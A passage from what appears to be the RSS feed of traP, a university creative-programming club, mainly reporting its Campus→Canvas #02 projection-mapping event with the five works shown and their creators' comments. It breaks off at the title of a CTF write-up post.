traP&#x306B;&#x3064;&#x3044;&#x3066;&#x6771;&#x4EAC;&#x5DE5;&#x696D;&#x5927;&#x5B66;&#x30C7;&#x30B8;&#x30BF;&#x30EB;&#x5275;&#x4F5C;&#x540C;&#x597D;&#x4F1A;traP&#x306F;&#x3001;&#x6771;&#x4EAC;&#x5DE5;&#x696D;&#x5927;&#x5B66;&#x30FB;&#x5927;&#x5CA1;&#x5C71;&#x30AD;&#x30E3;&#x30F3;&#x30D1;&#x30B9;&#x3092;&#x62E0;&#x70B9;&#x306B;&#x6D3B;&#x52D5;&#x3059;&#x308B;&#x5275;&#x4F5C;&#x30FB;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30DF;&#x30F3;&#x30B0;&#x306E;&#x7DCF;&#x5408;&#x30B5;&#x30FC;&#x30AF;&#x30EB;&#x3067;&#x3059;&#x3002;&#x30A2;&#x30D7;&#x30EA;&#x30FB;&#x30B2;&#x30FC;&#x30E0;&#x306E;&#x5236;&#x4F5C;&#x3092;&#x4E2D;&#x5FC3;&#x306B;&#x3001;&#x97F3;&#x697D;&#xFF08;DTM&#xFF09;&#x3001;&#x30B0;&#x30E9;&#x30D5;&#x30A3;&#x30C3;&#x30AF;&#xFF08;&#x30A4;&#x30E9;&#x30B9;&#x30C8;&#x3001;3DCG&#x3001;&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x3001;&#x52D5;&#x753B;&#xFF09;&#x306A;&#x3069;&#x306E;&#x5275;&#x4F5C;&#x6D3B;&#x52D5;&#x306B;&#x52A0;&#x3048;&#x3001;Web&#x30A4;&#x30F3;&#x30D5;&#x30E9;&#x3084;&#x7AF6;&#x6280;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30DF;&#x30F3;&#x30B0;&#x30FB;&#x30B5;&#x30A4;&#x30D0;&#x30FC;&#x30BB;&#x30AD;&#x30E5;&#x30EA;&#x30C6;&#x30A3;&#xFF08;CTF&#xFF09;&#x3001;&#x6A5F;&#x68B0;&#x5B66;&#x7FD2;&#xFF08;Kaggle&#xFF09;&#x306A;&#x3069;&#x306B;&#x95A2;&#x3059;&#x308B;&#x6D3B;&#x52D5;&#x3082;&#x884C;&#x3063;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002; &#x3053;&#x3046;&#x3057;&#x305F;&#x5275;&#x4F5C;&#x6D3B;&#x52D5;&#x306E;&#x307B;&#x304B;&#x306B;&#x3082;&#x3001;&#x5927;&#x5B66;&#x30B5;&#x30FC;&#x30AF;&#x30EB;&#x9593;&#x306E;&#x4EA4;&#x6D41;&#x30A4;&#x30D9;&#x30F3;&#x30C8;&#x306E;&#x4E3B;&#x50AC;&#x3084;&#x3001;&#x4E2D;&#x9AD8;&#x751F;&#x5411;&#x3051;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30DF;&#x30F3;&#x30B0;&#x6559;&#x5BA4;&#x306A;&#x3069;&#x3068;&#x3044;&#x3063;&#x305F;&#x793E;&#x4F1A;&#x8CA2;&#x732E;&#x6D3B;&#x52D5;&#x3082;&#x884C;&#x3063;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002; traP&#x306E;&#x73ED; * &#x30A2;&#x30EB;&#x30B4;&#x30EA;&#x30BA;&#x30E0;&#xFF08;&#x7AF6;&#x30D7;&#x30ED;&#xFF09;&#x73ED; * &#x30B0;&#x30E9;&#x30D5;&#x30A3;&#x30C3;&#x30AF;&#x73ED; * &#x30B2;&#x30FC;&#x30E0;&#x73ED; * &#x30B5;&#x30A6;&#x30F3;&#x30C9;&#x73ED; * CTF&#x73ED; * SysAd&#x73ED; * Kaggle&#x73ED; traP&#x306B;&#x306F;&#x5927;&#x304D;&#x304F;&#x5206;&#x3051;&#x3066;&#x3053;&#x306E;7&#x3064;&#x306E;&#x73ED;&#x304C;&#x8A2D;&#x3051;&#x3089;&#x308C;&#x3066;&#x304A;&#x308A;&#x3001;&#x81EA;&#x5206;&#x306E;&#x8208;&#x5473;&#x306B;&#x5408;&#x308F;&#x305B;&#x3066;&#x6240;&#x5C5E;&#x3059;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;&#x3053;&#x3053;&#x3067;&#x306F;&#x5404;&#x73ED;&#x306E;&#x6D3B;&#x52D5;&#x3092;&#x7C21;&#x5358;&#x306B;&#x7D39;&#x4ECB;&#x3057;&#x307E;&#x3059;&#x3002;&#x3088;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://trap.jp/content/images/size/w256h256/2020/01/traP_logo_icon.png" alt="anke-to v3 &#x3092;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;&#xFF01;&#x1F389;"><span class="kg-bookmark-author">&#x6771;&#x4EAC;&#x79D1;&#x5B66;&#x5927;&#x5B66;&#x30C7;&#x30B8;&#x30BF;&#x30EB;&#x5275;&#x4F5C;&#x540C;&#x597D;&#x4F1A;traP</span><span class="kg-bookmark-publisher">toki</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://trap.jp/content/images/2024/07/neoshowcase-1.png" alt="anke-to v3 &#x3092;&#x30EA;&#x30EA;&#x30FC;&#x30B9;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;&#xFF01;&#x1F389;"></div></a></figure>]]></content:encoded></item><item><title><![CDATA[プロジェクションマッピングイベント Campus→Canvas #02 を開催しました！]]></title><description><![CDATA[<p>2026&#x5E74;4&#x6708;24&#x65E5;(&#x91D1;)&#x306B;Taki Plaza&#x306E;&#x56F3;&#x66F8;&#x9928;&#x5074;&#x58C1;&#x9762;&#x306B;&#x3066;&#x3001;&#x30D7;&#x30ED;&#x30B8;&#x30A7;&#x30AF;&#x30B7;&#x30E7;&#x30F3;&#x30DE;&#x30C3;&#x30D4;&#x30F3;&#x30B0;&#x30A4;&#x30D9;&#x30F3;&#x30C8; Campus&#x2192;Canvas #02 &#x3092;&#x958B;&#x50AC;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;</p><h2 id="%E9%96%8B%E5%82%AC%E6%A6%82%E8%A6%81">&#x958B;</h2>]]></description><link>https://trap.jp/post/2893/</link><guid isPermaLink="false">69d6884ce2394c00016e59e4</guid><category><![CDATA[traPM]]></category><category><![CDATA[C→C]]></category><category><![CDATA[プロジェクト]]></category><category><![CDATA[活動紹介]]></category><dc:creator><![CDATA[renkon]]></dc:creator><pubDate>Wed, 29 Apr 2026 00:00:46 GMT</pubDate><media:content url="https://trap.jp/content/images/2026/04/-----02.png" medium="image"/><content:encoded><![CDATA[<img src="https://trap.jp/content/images/2026/04/-----02.png" alt="&#x30D7;&#x30ED;&#x30B8;&#x30A7;&#x30AF;&#x30B7;&#x30E7;&#x30F3;&#x30DE;&#x30C3;&#x30D4;&#x30F3;&#x30B0;&#x30A4;&#x30D9;&#x30F3;&#x30C8; Campus&#x2192;Canvas #02 &#x3092;&#x958B;&#x50AC;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;"><p>2026&#x5E74;4&#x6708;24&#x65E5;(&#x91D1;)&#x306B;Taki Plaza&#x306E;&#x56F3;&#x66F8;&#x9928;&#x5074;&#x58C1;&#x9762;&#x306B;&#x3066;&#x3001;&#x30D7;&#x30ED;&#x30B8;&#x30A7;&#x30AF;&#x30B7;&#x30E7;&#x30F3;&#x30DE;&#x30C3;&#x30D4;&#x30F3;&#x30B0;&#x30A4;&#x30D9;&#x30F3;&#x30C8; Campus&#x2192;Canvas #02 &#x3092;&#x958B;&#x50AC;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;</p><h2 id="%E9%96%8B%E5%82%AC%E6%A6%82%E8%A6%81">&#x958B;&#x50AC;&#x6982;&#x8981;</h2><!--kg-card-begin: markdown--><ul>
<li><strong>&#x30A4;&#x30D9;&#x30F3;&#x30C8;&#x540D;</strong>:	Campus&#x2192;Canvas #02 Powered by traP
<ul>
<li><strong>&#x8AAD;&#x307F;&#x65B9;</strong>:	&#x30AD;&#x30E3;&#x30F3;&#x30D1;&#x30B9;&#x30C8;&#x30A5;&#x30FC;&#x30AD;&#x30E3;&#x30F3;&#x30D0;&#x30B9;</li>
<li><strong>&#x7565;&#x79F0;</strong>:	C&#x2192;C</li>
</ul>
</li>
<li><strong>&#x65E5;&#x4ED8;</strong>:	2026&#x5E74;4&#x6708;24&#x65E5;(&#x91D1;)</li>
<li><strong>&#x6642;&#x9593;</strong>:   18:40~19:20</li>
<li><strong>&#x5834;&#x6240;</strong>:	&#x6771;&#x4EAC;&#x79D1;&#x5B66;&#x5927;&#x5B66;&#x5927;&#x5CA1;&#x5C71;&#x30AD;&#x30E3;&#x30F3;&#x30D1;&#x30B9;Taki Plaza&#x56F3;&#x66F8;&#x9928;&#x5074;&#x58C1;&#x9762;</li>
<li><strong>&#x30CF;&#x30C3;&#x30B7;&#x30E5;&#x30BF;&#x30B0;</strong>:   #C2CtraP</li>
</ul>
<!--kg-card-end: markdown--><h2 id="%E3%82%A4%E3%83%99%E3%83%B3%E3%83%88%E3%81%AE%E6%A7%98%E5%AD%90">&#x30A4;&#x30D9;&#x30F3;&#x30C8;&#x306E;&#x69D8;&#x5B50;</h2><p>&#x30A4;&#x30D9;&#x30F3;&#x30C8;&#x306E;&#x69D8;&#x5B50;&#x3092;YouTube&#x306B;&#x3066;&#x516C;&#x958B;&#x3057;&#x3066;&#x304A;&#x308A;&#x307E;&#x3059;&#x3002;&#x305C;&#x3072;&#x3054;&#x89A7;&#x304F;&#x3060;&#x3055;&#x3044;&#xFF01;</p><figure class="kg-card kg-embed-card"><iframe width="200" height="113" src="https://www.youtube.com/embed/IMbovAgWIbQ?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen title="&#x3010;&#x30D7;&#x30ED;&#x30B8;&#x30A7;&#x30AF;&#x30B7;&#x30E7;&#x30F3;&#x30DE;&#x30C3;&#x30D4;&#x30F3;&#x30B0;&#x3011;Campus&#x2192;Canvas #02 Powered by traP"></iframe></figure><h3 id="%E4%BD%9C%E5%93%81%E7%B4%B9%E4%BB%8B">&#x4F5C;&#x54C1;&#x7D39;&#x4ECB;</h3><p>&#x4ECA;&#x56DE;&#x306E;&#x30A4;&#x30D9;&#x30F3;&#x30C8;&#x3067;&#x4E0A;&#x6620;&#x3057;&#x305F;5&#x4F5C;&#x54C1;&#x3092;&#x3054;&#x7D39;&#x4ECB;&#x3057;&#x307E;&#x3059;&#x3002;(&#x4E0A;&#x6620;&#x9806;)</p><h4 id="%E3%80%8Ecrash-rush%E3%80%8F">&#x300E;crash rush&#x300F;</h4><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/slide-16_9---3.png" class="kg-image" alt="&#x30D7;&#x30ED;&#x30B8;&#x30A7;&#x30AF;&#x30B7;&#x30E7;&#x30F3;&#x30DE;&#x30C3;&#x30D4;&#x30F3;&#x30B0;&#x30A4;&#x30D9;&#x30F3;&#x30C8; Campus&#x2192;Canvas #02 &#x3092;&#x958B;&#x50AC;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;" loading="lazy" width="3840" height="2160"></figure><p>&#x5236;&#x4F5C;&#x8005;&#xFF1A;<a href="https://trap.jp/author/pika/">Pika</a></p><!--kg-card-begin: markdown--><h5 id="%E5%88%B6%E4%BD%9C%E8%80%85%E3%82%B3%E3%83%A1%E3%83%B3%E3%83%88">&#x5236;&#x4F5C;&#x8005;&#x30B3;&#x30E1;&#x30F3;&#x30C8;</h5>
<p>&#x6EDD;&#x30D7;&#x30E9;&#x30B6;&#x306E;&#x58C1;&#x3092;&#x30EA;&#x30BA;&#x30E0;&#x306B;&#x4E57;&#x3063;&#x3066;&#x67D3;&#x3081;&#x4E0A;&#x3052;&#x308B;&#xFF01;&#x8272;&#x304C;&#x30B3;&#x30ED;&#x30B3;&#x30ED;&#x5909;&#x308F;&#x308B;&#x3068;&#x3053;&#x308D;&#x304C;&#x7279;&#x5FB4;&#x306E;&#x4F5C;&#x54C1;&#x3067;&#x3059;&#x3002;&#x97F3;&#x306B;&#x5408;&#x308F;&#x305B;&#x305F;&#x6620;&#x50CF;&#x5236;&#x4F5C;&#x306F;&#x4ECA;&#x56DE;&#x304C;&#x521D;&#x3081;&#x3066;&#x3067;&#x3057;&#x305F;&#x304C;&#x3001;&#x3046;&#x307E;&#x304F;&#x30BF;&#x30A4;&#x30DF;&#x30F3;&#x30B0;&#x3092;&#x5408;&#x308F;&#x305B;&#x3089;&#x308C;&#x3066;&#x697D;&#x3057;&#x304F;&#x5236;&#x4F5C;&#x3067;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<!--kg-card-end: markdown--><h4 id="%E3%80%8Ere%E3%81%BC%E3%83%BC%E3%82%8B%E3%80%8F">&#x300E;Re:&#x307C;&#x30FC;&#x308B;&#x300F;</h4><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/slide-16_9---4.png" class="kg-image" alt="&#x30D7;&#x30ED;&#x30B8;&#x30A7;&#x30AF;&#x30B7;&#x30E7;&#x30F3;&#x30DE;&#x30C3;&#x30D4;&#x30F3;&#x30B0;&#x30A4;&#x30D9;&#x30F3;&#x30C8; Campus&#x2192;Canvas #02 &#x3092;&#x958B;&#x50AC;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;" loading="lazy" width="3840" height="2160"></figure><p>&#x5236;&#x4F5C;&#x8005;&#xFF1A;<a href="https://trap.jp/author/charararu/">Charararu</a></p><!--kg-card-begin: markdown--><h5 id="%E5%88%B6%E4%BD%9C%E8%80%85%E3%82%B3%E3%83%A1%E3%83%B3%E3%83%88">&#x5236;&#x4F5C;&#x8005;&#x30B3;&#x30E1;&#x30F3;&#x30C8;</h5>
<p>C&#x2192;C#01&#x3067;&#x6295;&#x5F71;&#x3057;&#x305F;&#x4F5C;&#x54C1;&#x306E;&#x30EA;&#x30E1;&#x30A4;&#x30AF;&#x3067;&#x3059;&#x3002;&#x3044;&#x308D;&#x3044;&#x308D;&#x306A;&#x8868;&#x73FE;&#x3092;&#x8A66;&#x3057;&#x3066;&#x307F;&#x3066;&#x306F;&#x6CA1;&#x306B;&#x306A;&#x308A;&#x3001;&#x6700;&#x7D42;&#x7684;&#x306B;&#x30DC;&#x30FC;&#x30EB;&#x304C;&#x305F;&#x304F;&#x3055;&#x3093;&#x51FA;&#x3066;&#x304F;&#x308B;&#x4F5C;&#x54C1;&#x306B;&#x306A;&#x308A;&#x307E;&#x3057;&#x305F;&#x2026;&#x3002;&#x3042;&#x307E;&#x308A;&#x4F5C;&#x66F2;&#x306B;&#x6163;&#x308C;&#x3066;&#x306A;&#x3044;&#x305B;&#x3044;&#x3067;&#x305F;&#x304F;&#x3055;&#x3093;&#x6642;&#x9593;&#x304C;&#x304B;&#x304B;&#x3063;&#x3066;&#x3057;&#x307E;&#x3063;&#x305F;&#x3051;&#x3069;&#x3001;&#x4F5C;&#x308B;&#x306E;&#x697D;&#x3057;&#x304B;&#x3063;&#x305F;&#x3067;&#x3059;&#xFF01;</p>
<!--kg-card-end: markdown--><h4 id="%E3%80%8Ebit-dash%E3%80%8F">&#x300E;Bit Dash&#x300F;</h4><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/frame-1--11-.png" class="kg-image" alt="&#x30D7;&#x30ED;&#x30B8;&#x30A7;&#x30AF;&#x30B7;&#x30E7;&#x30F3;&#x30DE;&#x30C3;&#x30D4;&#x30F3;&#x30B0;&#x30A4;&#x30D9;&#x30F3;&#x30C8; Campus&#x2192;Canvas #02 &#x3092;&#x958B;&#x50AC;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;" loading="lazy" width="8176" height="5716"></figure><p>&#x203B;&#x524D;&#x56DE;&#x306E;&#x30A4;&#x30D9;&#x30F3;&#x30C8;&#x3067;&#x4E0A;&#x6620;&#x3057;&#x305F;&#x6620;&#x50CF;&#x306E;&#x518D;&#x4E0A;&#x6620;</p><p>&#x5236;&#x4F5C;&#x8005;&#xFF1A;<a href="https://x.com/wutsuri?ref=trap.jp">wutsuri</a>&#x30FB;<a href="https://trap.jp/author/metch722/">METCH</a></p><!--kg-card-begin: markdown--><h5 id="%E5%88%B6%E4%BD%9C%E8%80%85%E3%82%B3%E3%83%A1%E3%83%B3%E3%83%88">&#x5236;&#x4F5C;&#x8005;&#x30B3;&#x30E1;&#x30F3;&#x30C8;</h5>
<p>&#x3067;&#x304D;&#x308B;&#x9650;&#x308A;&#x753B;&#x9762;&#x3092;&#x5927;&#x304D;&#x304F;&#x4F7F;&#x3046;&#x305F;&#x3081;&#x306B;&#x98DB;&#x3073;&#x51FA;&#x3059;&#x8868;&#x73FE;&#x306B;&#x3053;&#x3060;&#x308F;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;&#x89B3;&#x5BA2;&#x304B;&#x3089;&#x306E;&#x8996;&#x7DDA;&#x3082;&#x610F;&#x8B58;&#x3057;&#x305F;&#x30D1;&#x30FC;&#x30B9;&#x3067;&#x88FD;&#x4F5C;&#x3057;&#x305F;&#x305F;&#x3081;&#x3088;&#x308A;&#x7ACB;&#x4F53;&#x3092;&#x611F;&#x3058;&#x3089;&#x308C;&#x308B;&#x4F5C;&#x54C1;&#x3067;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown--><h4 id="%E3%80%8Eliminal%E3%80%8F">&#x300E;Liminal&#x300F;</h4><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/frame-1--10-.png" class="kg-image" alt="&#x30D7;&#x30ED;&#x30B8;&#x30A7;&#x30AF;&#x30B7;&#x30E7;&#x30F3;&#x30DE;&#x30C3;&#x30D4;&#x30F3;&#x30B0;&#x30A4;&#x30D9;&#x30F3;&#x30C8; Campus&#x2192;Canvas #02 &#x3092;&#x958B;&#x50AC;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;" loading="lazy" width="8176" height="5716"></figure><p>&#x5236;&#x4F5C;&#x8005;&#xFF1A;<a href="https://trap.jp/author/yasako/">yasako</a></p><!--kg-card-begin: markdown--><h5 id="%E5%88%B6%E4%BD%9C%E8%80%85%E3%82%B3%E3%83%A1%E3%83%B3%E3%83%88">&#x5236;&#x4F5C;&#x8005;&#x30B3;&#x30E1;&#x30F3;&#x30C8;</h5>
<p>2&#x53F0;&#x306E;&#x30D7;&#x30ED;&#x30B8;&#x30A7;&#x30AF;&#x30BF;&#x30FC;&#x3092;&#x3069;&#x3061;&#x3089;&#x3082;&#x6D3B;&#x7528;&#x3059;&#x308B;&#x3053;&#x3068;&#x3092;&#x8003;&#x3048;&#x3066;&#x4F5C;&#x54C1;&#x3092;&#x4F5C;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;&#x6620;&#x50CF;&#x306E;&#x518D;&#x751F;&#x30BF;&#x30A4;&#x30DF;&#x30F3;&#x30B0;&#x3092;&#x5408;&#x308F;&#x305B;&#x3001;&#x753B;&#x9762;&#x306E;&#x52D5;&#x304D;&#x3092;&#x9023;&#x52D5;&#x3055;&#x305B;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<!--kg-card-end: markdown--><h4 id="%E3%80%8Evirus-buster%E3%80%8F">&#x300E;Virus Buster!!!&#x300F;</h4><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/frame-1.png" class="kg-image" alt="&#x30D7;&#x30ED;&#x30B8;&#x30A7;&#x30AF;&#x30B7;&#x30E7;&#x30F3;&#x30DE;&#x30C3;&#x30D4;&#x30F3;&#x30B0;&#x30A4;&#x30D9;&#x30F3;&#x30C8; Campus&#x2192;Canvas #02 &#x3092;&#x958B;&#x50AC;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;" loading="lazy" width="8348" height="5836"></figure><p>&#x5236;&#x4F5C;&#x8005;&#xFF1A;<a href="https://trap.jp/author/mimi_year/">Mimi</a>&#x30FB;<a href="https://trap.jp/author/ida-ji/">Ida-ji</a></p><!--kg-card-begin: markdown--><h5 id="%E5%88%B6%E4%BD%9C%E8%80%85%E3%82%B3%E3%83%A1%E3%83%B3%E3%83%88">&#x5236;&#x4F5C;&#x8005;&#x30B3;&#x30E1;&#x30F3;&#x30C8;</h5>
<p>PC&#x306B;&#x4FB5;&#x5165;&#x3057;&#x305F;&#x30A6;&#x30A3;&#x30EB;&#x30B9;&#x3092;&#x30A6;&#x30A3;&#x30EB;&#x30B9;&#x30D0;&#x30B9;&#x30BF;&#x30FC;&#x541B;&#x304C;&#x5012;&#x3057;&#x3066;&#x3044;&#x304F;&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x30A2;&#x30CB;&#x30E1;&#x30FC;&#x30B7;&#x30E7;&#x30F3;&#x3067;&#x3059;&#x3002;<br>
&#x52D5;&#x753B;&#x5236;&#x4F5C;&#x3084;&#x30C9;&#x30C3;&#x30C8;&#x7D75;&#x306E;&#x30A2;&#x30CB;&#x30E1;&#x30FC;&#x30B7;&#x30E7;&#x30F3;&#x81EA;&#x4F53;&#x304C;&#x521D;&#x3081;&#x3066;&#x3060;&#x3063;&#x305F;&#x306E;&#x3067;&#x3068;&#x3066;&#x3082;&#x82E6;&#x6226;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;&#x30A2;&#x30CB;&#x30E1;&#x30FC;&#x30B7;&#x30E7;&#x30F3;&#x306E;&#x96E3;&#x3057;&#x3055;&#x3084;&#x697D;&#x3057;&#x3055;&#x3092;&#x5B9F;&#x611F;&#x3067;&#x304D;&#x305F;&#x6C17;&#x304C;&#x3057;&#x307E;&#x3059;&#x3002;&#x6B21;&#x304C;&#x3042;&#x308C;&#x3070;&#x3082;&#x3063;&#x3068;&#x30AF;&#x30AA;&#x30EA;&#x30C6;&#x30A3;&#x30A2;&#x30C3;&#x30D7;&#x3057;&#x3066;&#x518D;&#x6311;&#x6226;&#x3057;&#x305F;&#x3044;&#x3067;&#x3059;...&#xFF01;</p>
<!--kg-card-end: markdown--><h2 id="campus%E2%86%92canvas%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">Campus&#x2192;Canvas&#x306B;&#x3064;&#x3044;&#x3066;</h2><figure class="kg-card kg-image-card"><img src="https://trap.jp/content/images/2026/04/frame-45.png" class="kg-image" alt="&#x30D7;&#x30ED;&#x30B8;&#x30A7;&#x30AF;&#x30B7;&#x30E7;&#x30F3;&#x30DE;&#x30C3;&#x30D4;&#x30F3;&#x30B0;&#x30A4;&#x30D9;&#x30F3;&#x30C8; Campus&#x2192;Canvas #02 &#x3092;&#x958B;&#x50AC;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;" loading="lazy" width="15200" height="5600"></figure><p>Campus&#x2192;Canvas&#x306F;&#x3001;2025&#x5E74;11&#x6708;&#x306B;&#x767A;&#x8DB3;&#x3057;&#x305F;traP&#x306E;&#x30D7;&#x30ED;&#x30B8;&#x30A7;&#x30AF;&#x30C8; traPM &#x304C;&#x4E3B;&#x50AC;&#x3059;&#x308B;&#x30D7;&#x30ED;&#x30B8;&#x30A7;&#x30AF;&#x30B7;&#x30E7;&#x30F3;&#x30DE;&#x30C3;&#x30D4;&#x30F3;&#x30B0;&#x306E;&#x30A4;&#x30D9;&#x30F3;&#x30C8;&#x3067;&#x3059;&#x3002;&#x30ED;&#x30B4;&#x306F; <a href="https://trap.jp/author/pika/">Pika</a> &#x304C;&#x30C7;&#x30B6;&#x30A4;&#x30F3;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;</p><p>2026&#x5E74;1&#x6708;&#x306B;&#x958B;&#x50AC;&#x3057;&#x305F;&#x7B2C;1&#x56DE;&#x30A4;&#x30D9;&#x30F3;&#x30C8;&#x300C;Campus&#x2192;Canvas #01&#x300D; &#x306B;&#x7D9A;&#x304D;&#x3001;&#x4ECA;&#x56DE;&#x304C;2&#x56DE;&#x76EE;&#x306E;&#x958B;&#x50AC;&#x3068;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;<br>&#xFEFF;&#x524D;&#x56DE;&#x30A4;&#x30D9;&#x30F3;&#x30C8;&#x306E;&#x30D6;&#x30ED;&#x30B0;&#x8A18;&#x4E8B;&#x3082;&#x305C;&#x3072;&#x3054;&#x89A7;&#x304F;&#x3060;&#x3055;&#x3044;&#xFF01;</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://trap.jp/post/2802/"><div class="kg-bookmark-content"><div class="kg-bookmark-title">&#x30D7;&#x30ED;&#x30B8;&#x30A7;&#x30AF;&#x30B7;&#x30E7;&#x30F3;&#x30DE;&#x30C3;&#x30D4;&#x30F3;&#x30B0;&#x30A4;&#x30D9;&#x30F3;&#x30C8; Campus&#x2192;Canvas #01 &#x3092;&#x958B;&#x50AC;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;</div><div class="kg-bookmark-description">2026&#x5E74;1&#x6708;15&#x65E5;(&#x6728;)&#x306B;Taki Plaza&#x306E;&#x56F3;&#x66F8;&#x9928;&#x5074;&#x58C1;&#x9762;&#x306B;&#x3066;&#x3001;&#x30D7;&#x30ED;&#x30B8;&#x30A7;&#x30AF;&#x30B7;&#x30E7;&#x30F3;&#x30DE;&#x30C3;&#x30D4;&#x30F3;&#x30B0;&#x30A4;&#x30D9;&#x30F3;&#x30C8; Campus&#x2192;Canvas #01 &#x3092;&#x958B;&#x50AC;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01; &#x958B;&#x50AC;&#x306B;&#x3054;&#x5354;&#x529B;&#x304F;&#x3060;&#x3055;&#x3063;&#x305F;&#x307F;&#x306A;&#x3055;&#x3093;&#x3001;&#x304A;&#x8D8A;&#x3057;&#x304F;&#x3060;&#x3055;&#x3063;&#x305F;&#x307F;&#x306A;&#x3055;&#x3093;&#x3001;&#x672C;&#x5F53;&#x306B;&#x3042;&#x308A;&#x304C;&#x3068;&#x3046;&#x3054;&#x3056;&#x3044;&#x307E;&#x3057;&#x305F;&#xFF01;&#xFF01; &#x958B;&#x50AC;&#x6982;&#x8981; * &#x30A4;&#x30D9;&#x30F3;&#x30C8;&#x540D; Campus&#x2192;Canvas #01 Powered by traP * &#x8AAD;&#x307F;&#x65B9; &#x30AD;&#x30E3;&#x30F3;&#x30D1;&#x30B9;&#x30C8;&#x30A5;&#x30FC;&#x30AD;&#x30E3;&#x30F3;&#x30D0;&#x30B9; * &#x7565;&#x79F0; C&#x2192;C * &#x65E5;&#x6642; 2026&#x5E74;1&#x6708;15&#x65E5;(&#x6728;) 18&#x6642;00&#x5206;&#x301C;18&#x6642;20&#x5206; * &#x5834;&#x6240; &#x6771;&#x4EAC;&#x79D1;&#x5B66;&#x5927;&#x5B66;&#x5927;&#x5CA1;&#x5C71;&#x30AD;&#x30E3;&#x30F3;&#x30D1;&#x30B9; Taki Plaza &#x56F3;&#x66F8;&#x9928;&#x5074;&#x58C1;&#x9762; &#x30A4;&#x30D9;&#x30F3;&#x30C8;&#x306E;&#x69D8;&#x5B50; &#x30A4;&#x30D9;&#x30F3;&#x30C8;&#x306E;&#x69D8;&#x5B50;&#x306F;&#x3053;&#x3061;&#x3089;&#x306E;&#x52D5;&#x753B;&#x3067;&#x3054;&#x89A7;&#x3044;&#x305F;&#x3060;&#x3051;&#x307E;&#x3059;&#x3002; &#x4F5C;&#x54C1;&#x7D39;&#x4ECB; &#x4ECA;&#x56DE;&#x306E;&#x30A4;&#x30D9;&#x30F3;&#x30C8;&#x3067;&#x4E0A;&#x6620;&#x3057;&#x305F;5&#x4F5C;&#x54C1;&#x3092;&#x3054;&#x7D39;&#x4ECB;&#x3057;&#x307E;&#x3059;&#x3002;(&#x4E0A;&#x6620;&#x9806;) &#x300E;Count down&#x300F; &#x5236;&#x4F5C;&#x8005;&#xFF1A;renkon &#x300E;&#x307C;&#x30FC;&#x308B;&#x300F; &#x5236;&#x4F5C;&#x8005;&#xFF1A;&#x304D;&#x3083;&#x3089;&#x3089;&#x308B; &#x300E;&#x5B87;&#x5B99;&#x65C5;&#x884C;&#x300F; &#x5236;&#x4F5C;&#x8005;&#xFF1A;Pika</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://trap.jp/content/images/size/w256h256/2020/01/traP_logo_icon.png" alt="&#x30D7;&#x30ED;&#x30B8;&#x30A7;&#x30AF;&#x30B7;&#x30E7;&#x30F3;&#x30DE;&#x30C3;&#x30D4;&#x30F3;&#x30B0;&#x30A4;&#x30D9;&#x30F3;&#x30C8; Campus&#x2192;Canvas #02 &#x3092;&#x958B;&#x50AC;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;"><span class="kg-bookmark-author">&#x6771;&#x4EAC;&#x79D1;&#x5B66;&#x5927;&#x5B66;&#x30C7;&#x30B8;&#x30BF;&#x30EB;&#x5275;&#x4F5C;&#x540C;&#x597D;&#x4F1A;traP</span><span class="kg-bookmark-publisher">rurun</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://trap.jp/content/images/2026/01/thumbnail_new.jpg" alt="&#x30D7;&#x30ED;&#x30B8;&#x30A7;&#x30AF;&#x30B7;&#x30E7;&#x30F3;&#x30DE;&#x30C3;&#x30D4;&#x30F3;&#x30B0;&#x30A4;&#x30D9;&#x30F3;&#x30C8; Campus&#x2192;Canvas #02 &#x3092;&#x958B;&#x50AC;&#x3057;&#x307E;&#x3057;&#x305F;&#xFF01;"></div></a></figure>]]></content:encoded></item><item><title><![CDATA[CPCTF 2026/write-up (新入生5位)]]></title><description><![CDATA[<p>&#x3053;&#x3093;&#x306B;&#x3061;&#x306F;&#x3001;26B&#x306E;Falcon 